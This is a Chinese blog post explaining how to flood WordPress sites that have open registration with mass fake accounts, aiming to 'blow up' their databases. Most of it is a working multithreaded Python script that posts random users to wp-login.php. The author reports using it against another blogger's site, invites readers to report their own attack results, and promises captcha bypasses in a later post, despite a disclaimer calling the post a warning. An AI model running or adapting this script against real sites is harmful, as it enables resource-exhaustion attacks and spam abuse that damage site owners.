如何刷爆wordpress的数据库

本文来源地址:https://blog.oliverxu.cn

 

用过wordpress建站程序的朋友应该都知道,建的站点可以接受人们的注册,而某些站点往往做的比较垃圾,不设置什么验证,本文的思路就是基于此漏洞,以后会教大家如何识别网站可能弹出的验证码。

本文的目的在于揭示这个漏洞,并教那些和我一样的小白站长一定要注意网站的安全问题,因为数据是最重要的。本文并不是教大家如何去攻击,请大家遵守法律!!!

测试效果(最新更新)

下图是我这个程序将线程开到30,跑了一天后,目标网站的博主发的,仅供参考。

目的

利用python编写脚本来批量注册使用wordpress搭建的用户,来刷爆目标站点的数据库,注意,网站一定要开启注册才能使用本教程的方法。

如果你的wordpress站点如下图开启了注册功能,并没有验证码之类的东西,那就请继续看下去,我会在以后的文章中更新有验证码的情况下的解决办法:

分析

1.打开浏览器F12分析网页数据

2.在注册页面输入注册信息

3.点击注册按钮,并观察网页请求

4.分析网页请求的请求头和参数:

编写程序

# coding:utf-8 -*-
# coding:utf-8 -*-
import random
import requests
import threading
import random

threads = []
thread_num = 2

def zhuce():
	url = "https://www.xujh.top/wp-login.php?action=register"
	UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"

	header = { "User-Agent" : UA
	           }
	 
	wp_session = requests.Session()
	f = wp_session.get(url,headers=header)
	#print f.text

	user = str(random.randint(0,999999999999))
	email = user + '@qq.com'
	postData = { 'user_login': user,
	             'user_email': email,
	             'password': '123123123',
	             'repeat_password': '123123123',
	             'are_you_human': '我是傻逼',
	             'redirect_to': '',
	             'wp-submit': '注册'
	             }
	 
	wp_session.post(url,
	                  data = postData,
	                  headers = header)
	 
	f = wp_session.get('https://www.xujh.top/wp-login.php?checkemail=registered',headers=header)

	with open('log.txt', 'a+') as f:
		f.write(user)
		f.write('\n')



def start():
	for i in xrange(thread_num):
		thread = threading.Thread(target=zhuce, args=())
		threads.append(thread) 

	for t in threads:
		t.start()
		while True:
			if (len(threading.enumerate()) < thread_num): 
				break


start()

程序分析:

此程序是我用我的博客为例子,大家如果照抄运行的话肯定是不行的,具体的博客请具体分析网页的数据,方法已经在此文章中给出,程序哪里不会的请在下方留言,或者加群交流。

程序效果

此程序现在还在我的一台非常垃圾的vps上运行中,截至发文章时,一共批量注册了1570个用户,具体攻击效果以后更新,如果各位水友测试成功了可以在下方留言哦!

 

你可能感兴趣的:(Linux,Python,爬虫)